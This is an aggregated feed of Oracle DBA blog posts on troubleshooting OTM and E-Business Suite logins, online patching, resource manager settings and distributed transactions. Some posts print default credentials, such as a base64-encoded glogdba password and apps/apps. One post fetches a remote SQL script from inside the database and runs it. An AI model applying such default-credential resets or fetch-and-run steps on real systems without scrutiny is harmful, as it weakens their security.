Feed aggregator
java.sql.SQLException: ORA-01017: invalid username/password; logon denied for glogdba after cloning OTM
Configuration and Administration > Cluster Management > Scalability Overview, we got this error in glog.exception.log
java.sql.SQLException: ORA-01017: invalid username/password; logon denied
I was able to diagnose that this was coming for glogdba user by switching on auditing on the database.
The encrypted password was correct for glogdba in glog.properties.
After a lot of R&D we found out that this was occurring because the encrypted password of glogdba user in data_source table was incorrect.
It had the encrypted password of the glogdba user in production. We reset the glogdba password to default glogdba after clone.
Doing this update statement and bouncing apache and weblogic did the trick:
update data_source set oracle_password='Z2xvZ2RiYQ=='
where data_source_gid='UNPOOLED_DBA';
commit;
Oracle error 20001: java.sql.SQLException: ORA-20001: Oracle error -6508: ORA-06508: PL/SQL: could not find program unit being called has been detected in fnd.plsql.MO_UTILS.GET_MULTI_ORG_FLAG. ORA-06512
PRE>Unable to create anonymous session. Your session is no longer valid. Oracle error 20001: java.sql.SQLException: ORA-20001: Oracle error -6508: ORA-06508: PL/SQL: could not find program unit being called has been detected in fnd.plsql.MO_UTILS.GET_MULTI_ORG_FLAG. ORA-06512: at "APPS.MO_UTILS", line 27 ORA-06512: at "APPS.MO_UTILS", line 232 ORA-06512: at "APPS.FND_SESSION_MANAGEMENT", line 2109 ORA-06512: at "APPS.FND_SESSION_MANAGEMENT", line 369 ORA-06512: at "APPS.FND_SESSION_MANAGEMENT", line 538 ORA-06512: at "APPS.FND_AOLJ_UTIL", line 217 ORA-06512: at line 1 has been detected in createSession(int, String,Hashtable)(userid=6','D3F9A80801171DD4E043447920036C9924997405341204718936747621840314').
META name="fwk-error-detail" content="oracle.apps.fnd.framework.OAException%3A+Application%3A+FND%2C+Message+Name%3A+SQL_PLSQL_ERROR.+Tokens%3A+ROUTINE+%3D+createSession(int%2C+String%2CHashtable)(userid%3D6'%2C'D3F9A80801171DD4E043447920036C9924997405341204718936747621840314')%3B+REASON+%3D+java.sql.SQLException%3A+ORA-20001%3A+Oracle+error+-6508%3A+ORA-06508%3A+PL%2FSQL%3A+could+not+find+program+unit+being+called+has+been+detected+in+fnd.plsql.MO_UTILS.GET_MULTI_ORG_FLAG.%0AORA-06512%3A+at+%22APPS.MO_UTILS%22%2C+line+27%0AORA-06512%3A+at+%22APPS.MO_UTILS%22%2C+line+232%0AORA-06512%3A+at+%22APPS.FND_SESSION_MANAGEMENT%22%2C+line+2109%0AORA-06512%3A+at+%22APPS.FND_SESSION_MANAGEMENT%22%2C+line+369%0AORA-06512%3A+at+%22APPS.FND_SESSION_MANAGEMENT%22%2C+line+538%0AORA-06512%3A+at+%22APPS.FND_AOLJ_UTIL%22%2C+line+217%0AORA-06512%3A+at+line+1%0A%3B+ERRNO+%3D+20001%3B+%0A%09at+oracle.apps.fnd.framework.server.OAExceptionUtils.processAOLJErrorStack(OAExceptionUtils.java%3A974)%0A%09at+oracle.apps.fnd.framework.OACommonUtils.processAOLJErrorStack(OACommonUtils.java%3A867)%0A%09at+oracle.apps.fnd.framework.webui.OAPageBean.validateUser(OAPageBean.java%3A4762)%0A%09at+oracle.apps.fnd.framework.webui.OAPageBean.preparePage(OAPageBean.java%3A713)%0A%09at+oracle.apps.fnd.framework.webui.OAPageBean.preparePage(OAPageBean.java%3A515)%0A%09at+oracle.apps.fnd.framework.webui.OAPageBean.preparePage(OAPageBean.java%3A436)%0A%09at+_oa__html._OA._jspService(_OA.java%3A84)%0A%09at+oracle.jsp.runtime.HttpJsp.service(HttpJsp.java%3A119)%0A%09at+oracle.jsp.app.JspApplication.dispatchRequest(JspApplication.java%3A417)%0A%09at+oracle.jsp.JspServlet.doDispatch(JspServlet.java%3A267)%0A%09at+oracle.jsp.JspServlet.internalService(JspServlet.java%3A186)%0A%09at+oracle.jsp.JspServlet.service(JspServlet.java%3A156)%0A%09at+javax.servlet.http.HttpServlet.service(HttpServlet.java%3A588)%0A%09at+org.apache.jserv.JServConnection.processRequest(JServConnection.java%3A456)%0A%09at+org.apache.jserv.JServConnection.run(JServConnection.java%3A294)%0A%09at+java.lang.Thread.run(Thread.java%3A662)%0A%23%23+Detail+0+%23%23%0Aoracle.apps.fnd.framework.OAException%3A+Application%3A+FND%2C+Message+Name%3A+FND_GENERIC_MESSAGE.+Tokens%3A+MESSAGE+%3D+java.sql.SQLException%3A+ORA-20001%3A+Oracle+error+-6508%3A+ORA-06508%3A+PL%2FSQL%3A+could+not+find+program+unit+being+called+has+been+detected+in+fnd.plsql.MO_UTILS.GET_MULTI_ORG_FLAG.%0AORA-06512%3A+at+%22APPS.MO_UTILS%22%2C+line+27%0AORA-06512%3A+at+%22APPS.MO_UTILS%22%2C+line+232%0AORA-06512%3A+at+%22APPS.FND_SESSION_MANAGEMENT%22%2C+line+2109%0AORA-06512%3A+at+%22APPS.FND_SESSION_MANAGEMENT%22%2C+line+369%0AORA-06512%3A+at+%22APPS.FND_SESSION_MANAGEMENT%22%2C+line+538%0AORA-06512%3A+at+%22APPS.FND_AOLJ_UTIL%22%2C+line+217%0AORA-06512%3A+at+line+1%0A%3B+%0A%09at+oracle.apps.fnd.framework.OAException.wrapperException(OAException.java%3A891)%0A%09at+oracle.apps.fnd.framework.OAException.wrapperException(OAException.java%3A865)%0A%09at+oracle.apps.fnd.framework.server.OAExceptionUtils.processAOLJErrorStack(OAExceptionUtils.java%3A980)%0A%09at+oracle.apps.fnd.framework.OACommonUtils.processAOLJErrorStack(OACommonUtils.java%3A867)%0A%09at+oracle.apps.fnd.framework.webui.OAPageBean.validateUser(OAPageBean.java%3A4762)%0A%09at+oracle.apps.fnd.framework.webui.OAPageBean.preparePage(OAPageBean.java%3A713)%0A%09at+oracle.apps.fnd.framework.webui.OAPageBean.preparePage(OAPageBean.java%3A515)%0A%09at+oracle.apps.fnd.framework.webui.OAPageBean.preparePage(OAPageBean.java%3A436)%0A%09at+_oa__html._OA._jspService(_OA.java%3A84)%0A%09at+oracle.jsp.runtime.HttpJsp.service(HttpJsp.java%3A119)%0A%09at+oracle.jsp.app.JspApplication.dispatchRequest(JspApplication.java%3A417)%0A%09at+oracle.jsp.JspServlet.doDispatch(JspServlet.java%3A267)%0A%09at+oracle.jsp.JspServlet.internalService(JspServlet.java%3A186)%0A%09at+oracle.jsp.JspServlet.service(JspServlet.java%3A156)%0A%09at+javax.servlet.http.HttpServlet.service(HttpServlet.java%3A588)%0A%09at+org.apache.jserv.JServConnection.processRequest(JServConnection.java%3A456)%0A%09at+org.apache.jserv.JServConnection.run(JServConnection.java%3A294)%0A%09at+java.lang.Thread.run(Thread.java%3A662)%0A%23%23+Detail+0+%23%23%0Ajava.sql.SQLException%3A+ORA-20001%3A+Oracle+error+-6508%3A+ORA-06508%3A+PL%2FSQL%3A+could+not+find+program+unit+being+called+has+been+detected+in+fnd.plsql.MO_UTILS.GET_MULTI_ORG_FLAG.%0AORA-06512%3A+at+%22APPS.MO_UTILS%22%2C+line+27%0AORA-06512%3A+at+%22APPS.MO_UTILS%22%2C+line+232%0AORA-06512%3A+at+%22APPS.FND_SESSION_MANAGEMENT%22%2C+line+2109%0AORA-06512%3A+at+%22APPS.FND_SESSION_MANAGEMENT%22%2C+line+369%0AORA-06512%3A+at+%22APPS.FND_SESSION_MANAGEMENT%22%2C+line+538%0AORA-06512%3A+at+%22APPS.FND_AOLJ_UTIL%22%2C+line+217%0AORA-06512%3A+at+line+1%0A%0A%09at+oracle.jdbc.dbaccess.DBError.throwSqlException(DBError.java%3A134)%0A%09at+oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java%3A289)%0A%09at+oracle.jdbc.ttc7.Oall7.receive(Oall7.java%3A590)%0A%09at+oracle.jdbc.ttc7.TTC7Protocol.doOall7(TTC7Protocol.java%3A1973)%0A%09at+oracle.jdbc.ttc7.TTC7Protocol.parseExecuteFetch(TTC7Protocol.java%3A1119)%0A%09at+oracle.jdbc.driver.OracleStatement.executeNonQuery(OracleStatement.java%3A2191)%0A%09at+oracle.jdbc.driver.OracleStatement.doExecuteOther(OracleStatement.java%3A2064)%0A%09at+oracle.jdbc.driver.OracleStatement.doExecuteWithTimeout(OracleStatement.java%3A2989)%0A%09at+oracle.jdbc.driver.OraclePreparedStatement.executeUpdate(OraclePreparedStatement.java%3A658)%0A%09at+oracle.jdbc.driver.OraclePreparedStatement.execute(OraclePreparedStatement.java%3A736)%0A%09at+oracle.apps.fnd.common.WebAppsContext.createSession(WebAppsContext.java%3A2938)%0A%09at+oracle.apps.fnd.common.WebAppsContext.createSession(WebAppsContext.java%3A2825)%0A%09at+oracle.apps.fnd.common.WebAppsContext.createSession(WebAppsContext.java%3A2754)%0A%09at+oracle.apps.fnd.common.WebAppsContext.createAnonymousSession(WebAppsContext.java%3A5111)%0A%09at+oracle.apps.fnd.common.WebRequestUtil.setGuestSession(WebRequestUtil.java%3A1510)%0A%09at+oracle.apps.fnd.framework.webui.OAPageBean.validateUser(OAPageBean.java%3A4760)%0A%09at+oracle.apps.fnd.framework.webui.OAPageBean.preparePage(OAPageBean.java%3A713)%0A%09at+oracle.apps.fnd.framework.webui.OAPageBean.preparePage(OAPageBean.java%3A515)%0A%09at+oracle.apps.fnd.framework.webui.OAPageBean.preparePage(OAPageBean.java%3A436)%0A%09at+_oa__html._OA._jspService(_OA.java%3A84)%0A%09at+oracle.jsp.runtime.HttpJsp.service(HttpJsp.java%3A119)%0A%09at+oracle.jsp.app.JspApplication.dispatchRequest(JspApplication.java%3A417)%0A%09at+oracle.jsp.JspServlet.doDispatch(JspServlet.java%3A267)%0A%09at+oracle.jsp.JspServlet.internalService(JspServlet.java%3A186)%0A%09at+oracle.jsp.JspServlet.service(JspServlet.java%3A156)%0A%09at+javax.servlet.http.HttpServlet.service(HttpServlet.java%3A588)%0A%09at+org.apache.jserv.JServConnection.processRequest(JServConnection.java%3A456)%0A%09at+org.apache.jserv.JServConnection.run(JServConnection.java%3A294)%0A%09at+java.lang.Thread.run(Thread.java%3A662)%0Aoracle.apps.fnd.framework.OAException%3A+Application%3A+FND%2C+Message+Name%3A+FND_GENERIC_MESSAGE.+Tokens%3A+MESSAGE+%3D+java.sql.SQLException%3A+ORA-20001%3A+Oracle+error+-6508%3A+ORA-06508%3A+PL%2FSQL%3A+could+not+find+program+unit+being+called+has+been+detected+in+fnd.plsql.MO_UTILS.GET_MULTI_ORG_FLAG.%0AORA-06512%3A+at+%22APPS.MO_UTILS%22%2C+line+27%0AORA-06512%3A+at+%22APPS.MO_UTILS%22%2C+line+232%0AORA-06512%3A+at+%22APPS.FND_SESSION_MANAGEMENT%22%2C+line+2109%0AORA-06512%3A+at+%22APPS.FND_SESSION_MANAGEMENT%22%2C+line+369%0AORA-06512%3A+at+%22APPS.FND_SESSION_MANAGEMENT%22%2C+line+538%0AORA-06512%3A+at+%22APPS.FND_AOLJ_UTIL%22%2C+line+217%0AORA-06512%3A+at+line+1%0A%3B+%0A%09at+oracle.apps.fnd.framework.OAException.wrapperException(OAExcept
JSP Error
--------------------------------------------------------------------------------
Exception:
java.lang.NullPointerException
I concentrated on the first part of the error message:
ORA-06508: PL/SQL: could not find program unit being called has been detected in fnd.plsql.MO_UTILS.GET_MULTI_ORG_FLAG. ORA-06512: at "APPS.MO_UTILS", line 27 ORA-06512: at "APPS.MO_UTILS", line 232
I tried calling this package and function by executing this query from sqlplus:
SQL> conn apps/apps
SQL> select mo_utils.get_multi_org_flag() from dual;
select mo_utils.get_multi_org_flag() from dual
*
ERROR at line 1:
ORA-20001: Oracle error -6508: ORA-06508: PL/SQL: could not find program unit
being called has been detected in fnd.plsql.MO_UTILS.GET_MULTI_ORG_FLAG.
ORA-06512: at "APPS.MO_UTILS", line 27
ORA-06512: at "APPS.MO_UTILS", line 232
I checked the code in the function mo_utils.get_multi_org_flag by:
select line,text
from dba_source
where name='MO_UTILS'
and line between 220 and 240;
LINE TEXT
--------------------------------------------------------------------------------
FUNCTION Get_Multi_Org_Flag
RETURN VARCHAR2
IS
BEGIN
227
228
RETURN mo_global.is_multi_org_enabled;
229
230
EXCEPTION
231
WHEN OTHERS THEN
232
Generic_Error( 'fnd.plsql.MO_UTILS.GET_MULTI_ORG_FLAG'
233
, sqlcode
234
, sqlerrm);
235
236
END Get_Multi_Org_Flag;
So the only line of code in this function is on line 237:
RETURN mo_global.is_multi_org_enabled;
I tried to execute this from sqlplus:
SQL> select mo_global.is_multi_org_enabled() from dual;
select mo_global.is_multi_org_enabled() from dual
*
ERROR at line 1:
ORA-04063: package body "APPS.MO_GLOBAL" has errors
Then I tried compiling the package body:
SQL> alter package APPS.MO_GLOBAL compile body;
Warning: Package Body altered with compilation errors.
SQL> show errors
Errors for PACKAGE BODY APPS.MO_GLOBAL:
LINE/COL ERROR
-------- -----------------------------------------------------------------
167/27 PLS-00201: identifier 'V$SQLAREA' must be declared
167/27 PL/SQL: Item ignored
302/4 PL/SQL: Statement ignored
302/53 PLS-00320: the declaration of the type of this expression is incomplete or malformed
I checked line 167:
LINE
----------
TEXT
--------------------------------------------------------------------------------
167
l_action_name v$sqlarea.action%TYPE;
That means, it is unable to query v$sqlarea.
So I logged in as sys and
SQL> grant select on v$sqlarea to apps;
grant select on v$sqlarea to apps
*
ERROR at line 1:
ORA-02030: can only select from fixed tables/views
Ok, that was a mistake, the correct grant is:
SQL> grant select on v_$sqlarea to apps;
Grant succeeded.
Compiled the package MO_GLOBAL:
SQL> alter package APPS.MO_GLOBAL compile body;
Package body altered.
Tested both the sqls which were previously erroring out:
SQL> conn apps/apps
Connected.
SQL> select mo_global.is_multi_org_enabled() from dual;
MO_GLOBAL.IS_MULTI_ORG_ENABLED()
--------------------------------------------------------------------------------
Y
SQL> select mo_utils.get_multi_org_flag() from dual;
MO_UTILS.GET_MULTI_ORG_FLAG()
--------------------------------------------------------------------------------
Y
We tried with IE and the same error still came.
So we tried with a new Firefox session, and we were able to login without issues. IE also worked after clearing Temporary Internet Files.
That was an interesting troubleshoot. I wonder, how the grant was missing in the first place.
Sqlplus is my second home: Part 7 – Downloading files via sqlplus :-)
Some years ago I wrote about how sqlplus allows you to run sqlplus scripts directly from HTTP and FTP locations instead of the local filesystem. By the way, I didn’t even notice – my blog is over 5 years old already! :)
I a recent email thread Marco Gralike just showed the simplest way I to open a HTTP URL and download + list its contents in a CLOB datatype. It’s the HTTPURITYPE and its getCLOB (and getBLOB) methods.
So, basically if you want to download and save a (text) file like a script without a browser for some reason – and assuming that your database server can make outgoing HTTP connections, you can use this trick:
SQL> SET LINES 1000 TRIMSPOOL ON TRIMOUT ON PAGESIZE 0 LONG 99999999 LONGCHUNKSIZE 99999999 FEEDBACK OFF HEAD OFF
SQL> SPOOL $HOME/snapper_download.sql
SQL>
SQL> select httpuritype('http://blog.tanelpoder.com/files/scripts/snapper.sql').getCLOB() from dual;
--------------------------------------------------------------------------------
--
-- File name: snapper.sql
-- Purpose: An easy to use Oracle session-level performance measurement tool
-- which does NOT require any database changes nor creation of any
-- database objects!
--
-- This is very useful for ad-hoc performance diagnosis in environments
-- with restrictive change management processes, where creating
... lots of output snipped ...
SQL> SPOOL OFF
Now you have to open the spool file (snapper_download.sql) and remove any garbage (sqlplus commands) from the top of the spool file and there you go:
SQL> @snapper_download all 5 1 3
Sampling SID 3 with interval 5 seconds, taking 1 snapshots...
-- Session Snapper v3.62 by Tanel Poder ( http://blog.tanelpoder.com )
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------
SID, USERNAME , TYPE, STATISTIC , DELTA, HDELTA/SEC, %TIME, GRAPH , NUM_WAITS, WAITS/SEC, AVERAGES
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------
3, SYS , STAT, opened cursors cumulative , 43, 8.6, , , , ,
3, SYS , STAT, recursive calls , 44, 8.8, , , , ,
3, SYS , STAT, recursive cpu usage , 9, 1.8, , , , ,
3, SYS , STAT, CPU used by this session , 8, 1.6, , , , ,
3, SYS , STAT, in call idle wait time , 412, 82.4, , , , ,
3, SYS , STAT, session uga memory , 65512, 13.1k, , , , ,
3, SYS , STAT, session pga memory , 327680, 65.54k, , , , ,
3, SYS , STAT, calls to get snapshot scn: kcmgss , 43, 8.6, , , , ,
3, SYS , STAT, session cursor cache hits , 43, 8.6, , , , ,
3, SYS , STAT, session cursor cache count , 1, .2, , , , ,
3, SYS , STAT, workarea executions - optimal , 48, 9.6, , , , ,
3, SYS , STAT, execute count , 43, 8.6, , , , ,
3, SYS , STAT, sorts (memory) , 45, 9, , , , ,
3, SYS , STAT, sorts (rows) , 1867, 373.4, , , , ,
3, SYS , TIME, PL/SQL execution elapsed time , 5398, 1.08ms, .1%, [ ], , ,
3, SYS , TIME, DB CPU , 435933, 87.19ms, 8.7%, [@ ], , ,
3, SYS , TIME, sql execute elapsed time , 129913, 25.98ms, 2.6%, [# ], , ,
3, SYS , TIME, DB time , 449166, 89.83ms, 9.0%, [# ], , ,
3, SYS , WAIT, PL/SQL lock timer , 4127427, 825.49ms, 82.5%, [WWWWWWWWW ], 41, 8.2, 100.67ms
-- End of Stats snap 1, end=2013-01-24 22:45:53, seconds=5
-- End of ASH snap 1, end=2013-01-24 22:45:53, seconds=5, samples_taken=41
Of course this technique is more for fun and is not reliable for binary files (unless you use something like UTL_ENCODE.BASE64_ENCODE or UUENCODE first). But still pretty fun :) I was happy to see that accessing a HTTP resource within the database has become so simple that it’s just a one-liner (as opposed to all the UTL_HTTP code lines needed for HTTP access).
Have fun (and thanks Marco for the tip :-)
Event 27401 level 16384 prevents scheduler window from changing resource manager plan
We have event 27401 level 16384 set on some of our systems and it appears that this is preventing the scheduler from changing the active resource manager plan when the window opens.
I haven’t been able to find any documentation on this event and level. This blog post is all I could find on event 27401 but it doesn’t mention level 16384. So, I did a test on a small test instance on my laptop and was able to show that one effect of activating this event and trace level is to prevent a scheduler window from changing the active resource manager plan. I setup a test case where one session would create a table and get a row lock on that table. Then I would open a new session and run a script that would attempt to update the locked row. My theory is that the second session would appear as an active session. Then I could set the plan to limit active sessions for a given resource manager consumer group to 1 and then any sessions would hang on a resource manager wait event. I must have misunderstood what limiting active sessions to 1 would do because the session that should be hung on a lock wait ended up hung on a resource manager wait but that was fine. My test of the scheduler window was just done by going into the Oracle Enterprise Manager database control on the Server tab and clicking on the Windows link in the Oracle Scheduler section and opening the window for the current day. This should change the active resource manager plan from the one I hacked to limit active sessions to 1 to one that doesn’t limit active sessions. I tried this without setting the event and trace level and the plan changed and the resource manager wait disappeared. I set the event and bounced the instance and then opening the scheduler window didn’t change anything. The plan stayed the same and the session was still hung on the resource manager wait. I don’t recommend setting this event without Oracle support’s recommendation, but if you have it set maybe this post can give you a clue what it might be doing. Here are some screenshots:
Change resource manager plan DSS_PLAN to limit DSS_GROUP consumer group to one active session.
Assign user TEST to DSS_GROUP consumer group so it will be limited to one active session for our test.
Make DSS_GROUP the default consumer group for the user TEST so it will be governed by this group when DSS_PLAN is active.
First session locks a row so second session will hang on it and be active.
Second session doesn’t even get to the point of hanging on the lock. Hangs on the active session limit.
Wait is resource manager wait – not a row lock wait.
Activate today’s scheduler window.
After activating window the hung session proceeds to the update and hangs on a lock wait.
Lock wait.
Set event and level.
Had to bounce to get the event set. Went through the entire process again and when the scheduler window opens the resource manager wait remains and the plan parameter is unchanged.
With active scheduler window and event and trace level set the plan doesn’t change.
I’m not sure how helpful this will be to people but I wanted to document this on the internet in case someone else has to deal with this event and trace level. Here are my simple locking scripts for session 1 and session 2:
-- lock1.sql -- session 1 creates table and updates a row grabbing a row lock drop table test; create table test (a number); insert into test values (1); commit; update test set a=2; -- lock2.sql -- session 2 tries to hang on a row lock: update test set a=2;
Lastly, please do not set this event and trace level on your system. I do not know all that this event does and I suspect it is causing problems on our system. All I know for sure is that it prevents the resource manager plan from changing when a scheduler window opens. Who knows what other horrible consequences there may be from setting this undocumented event? If you want to prevent the active plan from changing all you have to do is associate the plan you normally run with the scheduler window and it won’t change. So, in my example if I associated DSS_PLAN with the scheduler window then when I opened the window the plan wouldn’t change. This is much better than setting an undocumented event and trace level.
- Bobby
Online patching: The Good, the Bad, and the Ugly
I’ve worked on 24×7 systems for more than a decade, and I have a real dislike of downtime. For one, it can be a real pain to agree any downtime with the business, and while RAC can and does help when you do work in a rolling fashion, there is still risk.
The promise of online patching has been a long one, and it is only recently that I dipped my toe in the water with them. Unfortunately, they are not a panacea, and in this blog posting I’m going to share some of the downsides.
Of course not all patches are online, if they are the README associated with the patch will have an online section in how to apply the patch, also when you uncompress the patch there will be an directory called online.
The Good
So first for the good side, the actual application truly can be done online, in that sense it does what it says on the tin. Here I’m running from the unzipped patch directory, and in this example I’m using patch 10219624:
bash-3.2$ /u01/app/oracle/product/11.2.0/db_1/OPatch/opatch apply online -connectString TESTRAC1 -ocmrf /tmp/ocm.rsp
Oracle Interim Patch Installer version 11.2.0.3.3
Copyright (c) 2012, Oracle Corporation. All rights reserved.
Oracle Home : /u01/app/oracle/product/11.2.0/db_1
Central Inventory : /u01/app/oraInventory
from : /u01/app/oracle/product/11.2.0/db_1/oraInst.loc
OPatch version : 11.2.0.3.3
OUI version : 11.2.0.3.0
Log file location : /u01/app/oracle/product/11.2.0/db_1/cfgtoollogs/opatch/10219624_Jan_24_2013_08_54_08/apply2013-01-24_08-54-08AM_1.log
Applying interim patch '10219624' to OH '/u01/app/oracle/product/11.2.0/db_1'
Verifying environment and performing prerequisite checks...
All checks passed.
Backing up files...
Patching component oracle.rdbms, 11.2.0.3.0...
Installing and enabling the online patch 'bug10219624.pch', on database 'TESTRAC1'.
Verifying the update...
Patching in all-node mode.
Updating nodes 'rac2'
Apply-related files are:
FP = "/u01/app/oracle/product/11.2.0/db_1/.patch_storage/10219624_Dec_20_2012_02_13_54/rac/copy_files.txt"
DP = "/u01/app/oracle/product/11.2.0/db_1/.patch_storage/10219624_Dec_20_2012_02_13_54/rac/copy_dirs.txt"
MP = "/u01/app/oracle/product/11.2.0/db_1/.patch_storage/10219624_Dec_20_2012_02_13_54/rac/make_cmds.txt"
RC = "/u01/app/oracle/product/11.2.0/db_1/.patch_storage/10219624_Dec_20_2012_02_13_54/rac/remote_cmds.txt"
Instantiating the file "/u01/app/oracle/product/11.2.0/db_1/.patch_storage/10219624_Dec_20_2012_02_13_54/rac/copy_files.txt.instantiated" by replacing $ORACLE_HOME in "/u01/app/oracle/product/11.2.0/db_1/.patch_storage/10219624_Dec_20_2012_02_13_54/rac/copy_files.txt" with actual path.
Propagating files to remote nodes...
Instantiating the file "/u01/app/oracle/product/11.2.0/db_1/.patch_storage/10219624_Dec_20_2012_02_13_54/rac/copy_dirs.txt.instantiated" by replacing $ORACLE_HOME in "/u01/app/oracle/product/11.2.0/db_1/.patch_storage/10219624_Dec_20_2012_02_13_54/rac/copy_dirs.txt" with actual path.
Propagating directories to remote nodes...
Patch 10219624 successfully applied
Log file location: /u01/app/oracle/product/11.2.0/db_1/cfgtoollogs/opatch/10219624_Jan_24_2013_08_54_08/apply2013-01-24_08-54-08AM_1.log
OPatch succeeded.
I’m applying this to a 2 node 11gR2 RAC cluster. You’ll notice that it is applied on ALL nodes. You can’t apply an online patch in RAC to just one node at a time and you can’t rollback one node at a time either. Also be aware that while the patch is in the oracle home on all nodes in the cluster, it’s only been applied to the local instance
Now, I know you are meant to give connection string details like username/password, and can then apply to all instances in a cluster at the same time, but on some systems I work on, I do not have this information, and rely on OS authentication only. This can lead to some pain.
You can tell a patch is applied with the following:
SQL> oradebug patch list Patch File Name State ================ ========= bug10219624.pch ENABLED
However, on the remote node:
SQL> oradebug patch list Patch File Name State ================ ========= No patches currently installed
I accept this need not arise if you are able to authenticate properly at installation time. To fix this up you can do the following:
-bash-3.2$ /u01/app/oracle/product/11.2.0/db_1/OPatch/opatch util enableonlinepatch -connectString TESTRAC2 -id 10219624 Oracle Interim Patch Installer version 11.2.0.3.3 Copyright (c) 2012, Oracle Corporation. All rights reserved. Oracle Home : /u01/app/oracle/product/11.2.0/db_1 Central Inventory : /u01/app/oraInventory from : /u01/app/oracle/product/11.2.0/db_1/oraInst.loc OPatch version : 11.2.0.3.3 OUI version : 11.2.0.3.0 Log file location : /u01/app/oracle/product/11.2.0/db_1/cfgtoollogs/opatch/opatch2013-01-24_09-47-08AM_1.log Invoking utility "enableonlinepatch" Installing and enabling the online patch 'bug10219624.pch', on database 'TESTRAC2'. OPatch succeeded.
The Bad
I’ve found rolling back to be slightly more problematic on the remote with o/s authentication. The rollback always removed the patch from the home across all nodes and always removed it from the instance on the local node. While there is an opatch method documented to then stop being enabled in an instance, very similar to the enableonlinepatch above (it’s Disableonlinepatch) I found it did not work with some patches, though opatch reported success, the patch was still enabled.
Another point to note, restarting an instance does not remove an online applied patch, there is a directory under the $ORACLE_HOME, called hpatch that has the online applied patch libraries.
To get round this I had to resort to the following oradebug commands:
SQL> oradebug patch list Patch File Name State ================ ========= bug10219624.pch ENABLED SQL> oradebug patch disable bug10219624.pch Statement processed. SQL> oradebug patch list Patch File Name State ================ ========= bug10219624.pch DISABLED SQL> oradebug patch remove bug10219624.pch Statement processed. SQL> oradebug patch list Patch File Name State ================ ========= bug10219624.pch REMOVED
That oradebug patch list showing removed then reverts to “No patches currently installed” upon instance restart.
The Ugly
This really caught me out, patches applied online are completely incompatible with a subsequent running of opatch auto. I had the situation recently whereby I had applied a patch online and then later wanted to run opatch auto to apply further patches. Before running opatch auto I always run the check for conflicts, and this did not give me a clue that opatch auto would not work with the online applied patch.
However when I ran opatch auto on Bundle Patch 11 the following occurred:
[Jan 16, 2013 9:19:16 AM] OUI-67303:
Patches [ 14632268 12880299 13734832 ] will be rolled back.
[Jan 16, 2013 9:19:16 AM] Do you want to proceed? [y|n]
[Jan 16, 2013 9:19:19 AM] Y (auto-answered by -silent)
[Jan 16, 2013 9:19:19 AM] User Responded with: Y
[Jan 16, 2013 9:19:19 AM] OPatch continues with these patches: 14474780
[Jan 16, 2013 9:19:19 AM] OUI-67073:UtilSession failed:
OPatch cannot roll back an online patch while applying a regular patch.
Please rollback the online patch(es) " 14632268" manually, and then apply the regular patch(es) " 14474780".
[Jan 16, 2013 9:19:19 AM] --------------------------------------------------------------------------------
[Jan 16, 2013 9:19:19 AM] The following warnings have occurred during OPatch execution:
[Jan 16, 2013 9:19:19 AM] 1) OUI-67303:
Patches [ 14632268 12880299 13734832 ] will be rolled back.
[Jan 16, 2013 9:19:19 AM] --------------------------------------------------------------------------------
[Jan 16, 2013 9:19:19 AM] Finishing UtilSession at Wed Jan 16 09:19:19 GMT 2013
[Jan 16, 2013 9:19:19 AM] Log file location: /u01/app/ora/product/11.2.0.3/db_1/cfgtoollogs/opatch/opatch2013-01-16_09-19-08AM_1.log
[Jan 16, 2013 9:19:19 AM] Stack Description: java.lang.RuntimeException:
OPatch cannot roll back an online patch while applying a regular patch.
Please rollback the online patch(es) " 14632268" manually, and then apply the regular patch(es) " 14474780"
Yes, it’s not that difficult to fix up, the frustrating thing here is the prerequisite checks did not show any issues. It’s pretty clear that the opatch auto developers have not given any thought how to properly handle an online applied patch, or the online patching developers have not considered the consequences of online patching with a future opatch auto.
Online patching is almost like the holy grail, nobody wants downtime, but I just don’t think the current online patching technique is quite fully there yet, and it really doesn’t play at all with opatch auto.
Formspider Day in Istanbul
Click here for the program of the day and to register for the event.
Looking forward to meeting you on January 31st.
The Formspider Team
Interactive Reports with Formspider and No PL/SQL
Integration Broker basics for the PeopleSoft developer
Integration Broker basics for the PeopleSoft developer
Choosing active plan with OEM puts instance name in spfile
I want to use this post to document a confusing issue we have had with the init parameter resource_manager_plan. We had a situation where we had used an alter system command to set a particular plan to be active, but a different plan was active. Also, this was on a two node RAC system and the nodes had different active plans. The spfile had the parameter set one way for a given instance and also set for all instances another way. It looks like OEM caused this issue by inserting the parameter into the spfile with the instance name on it. So, if you use a combination of OEM and alter system commands to set the active resource manager plan take a good look at your spfile to make sure you don’t have conflicting settings.
I put together a quick example on a stand alone test database to demonstrate how this could happen. I start out with no active plan. I use this command to dump out the spfile in a text file on my C: drive:
create pfile='C:\todoitems\oemrmparameter\pfile1.txt' from spfile;
The parameter resource_manager_plan was not in the spfile initially. So, then I set the plan DSS_PLAN active in OEM:
I chose DSS_PLAN and clicked on the “Go” button.
Now DSS_PLAN is active. When I look at the spfile it has the following parameters:
*.resource_manager_plan='DSS_PLAN' orcl.resource_manager_plan='DSS_PLAN'
Note how both the *. and orcl. parameters are inserted. Next I manually change the resource_manager_plan parameter using this alter system statement:
alter system set resource_manager_plan='' scope=both;
Then I bounce the database and which plan is active? Still the DSS_PLAN. Here is how the spfile looks now:
orcl.resource_manager_plan='DSS_PLAN' *.resource_manager_plan=''
The orcl. parameter overrides the *. one so that is why it is running DSS_PLAN. Then to cleanup I run these two commands to delete both entries from the spfile:
alter system reset resource_manager_plan scope=spfile sid='orcl'; alter system reset resource_manager_plan scope=spfile sid='*';
After bouncing the database you are back to the default INTERNAL_PLAN:
This may seem easy to avoid now that I’ve described the issue, but it was very confusing until I dumped out the spfile. The key is that OEM will put the instance name on the parameter in the spfile.
- Bobby
Oracle ACE!
Oracle ACE!
Fun with Distributed Transactions II
Short on examples, long on words…
Last week I did a quick post about a couple of the more obscure implications of using distributed transactions, in particular:
- The current impact on subquery materialisations
- The incompatibility with MVs
- The unusual situation of transactions with locks but no sessions
Anyway, earlier today I was having a closer look at some “DFS lock handle” wait events in an 11gR1 RAC database (not because there was an obvious problem but because I saw a few of them an wanted to have a closer look).
On a DFS lock handle wait, you have to decode P1 to find out what it’s all about as discussed by Riyaj Shamsudeen.
In my case, these were mostly DX and BB enqueues which are related to my old friend the distributed transaction.
Why am I still banging on about distributed transactions?
Well, you might think that they’re not very common but in the JDBC world they seem to be everywhere.
XA transactions are used (overused) throughout the JDBC world and so they might well be very relevant to any database that you’ve got with a JDBC app sitting atop.
